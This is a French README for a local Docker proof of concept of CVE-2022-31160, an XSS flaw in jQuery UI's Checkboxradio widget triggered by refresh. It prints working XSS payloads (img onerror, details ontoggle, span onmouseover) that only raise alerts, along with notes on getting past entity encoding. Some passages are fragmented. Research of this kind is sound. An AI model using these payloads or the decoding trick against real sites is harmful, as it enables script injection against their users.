
Preuve de concept (PoC) XSS jQuery
Ce projet illustre la vulnérabilité du widget Checkboxradio de jQuery UI (CVE-2022-31160) qui permet le décodage d'entités HTML lors des opérations de rafraîchissement du widget, pouvant conduire à des attaques de type Cross-Site Scripting (XSS).
⚠️ Ce projet contient des charges utiles XSS fonctionnelles à des fins éducatives et de recherche uniquement.
Lorsqu'un widget checkboxradio est initialisé sur une entrée contenue dans une étiquette (<label>), appeler .checkboxradio("refresh") sur le widget entraîne un décodage erroné des entités HTML dans le contenu de l'étiquette. Cela peut convertir du contenu malveillant encodé de manière sécurisée en JavaScript exécutable.
<!-- Contenu encodé sécurisé -->
<label for="checkbox">
Texte <img src=x onerror="alert('XSS')">
<input type="checkbox" id="checkbox">
</label>
<!-- Après .checkboxradio("refresh") -->
<label for="checkbox">
Texte
<input type="checkbox" id="checkbox">
</label>
# Cloner ou naviguer dans le répertoire du projet
cd jquery-cve-2022-31160
# Construire l'image Docker
docker build -t jquery-cve-2022-31160 .
# Exécuter le conteneur
docker run -p 3000:3000 jquery-cve-2022-31160
Une fois le conteneur en cours d'exécution, accédez à :
jquery-cve-2022-31160/
├── README.md # Cette documentation
├── Dockerfile # Configuration du conteneur Docker
├── package.json # Dépendances Node.js
├── server.js # Serveur Express.js
└── simplified-survey.html # Démonstration type sondage
simplified-survey.html)URL : http://localhost:3000/survey
Fonctionnalités :
<img src=x onerror="..."> - Exécution immédiate<details ontoggle="..." open> - Exécution immédiate<span onmouseover="..."> - Exécution interactiveOutils d'analyse :
.checkboxradio("refresh") est appelé// Opération vulnérable
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // Déclenche la vulnérabilité
Les démonstrations incluent diverses charges utiles pour tester différentes méthodes d'exécution XSS :
<!-- Sécurité réseau : XSS par événement d'erreur (exécution immédiate) -->
<img src=x onerror="console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');">
<!-- Sécurité mobile : XSS par basculement details (exécution immédiate) -->
<details ontoggle="alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')" open><summary></summary></details>
<!-- Sécurité cloud : XSS interactif (interaction utilisateur requise) -->
<span onmouseover="alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')" style="text-decoration:underline; cursor:pointer;">[Survoler pour déclencher]</span>
onerror)src=x)ontoggle)open)onmouseover)Avantages des gestionnaires d'événements :
innerHTML<script>ontoggle) sont très fiablesContournement d'encodage :
<, ") sont décodées par le rafraîchissement de jQuery UIdocker build -t jquery-cve-2022-31160 .
# Exécution sur le port par défaut 3000
docker run -p 3000:3000 jquery-cve-2022-31160
# Exécution sur un port personnalisé
docker run -p 8080:3000 jquery-cve-2022-31160
# Exécution en arrière-plan
docker run -d -p 3000:3000 jquery-cve-2022-31160
# Exécution avec un nom personnalisé
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160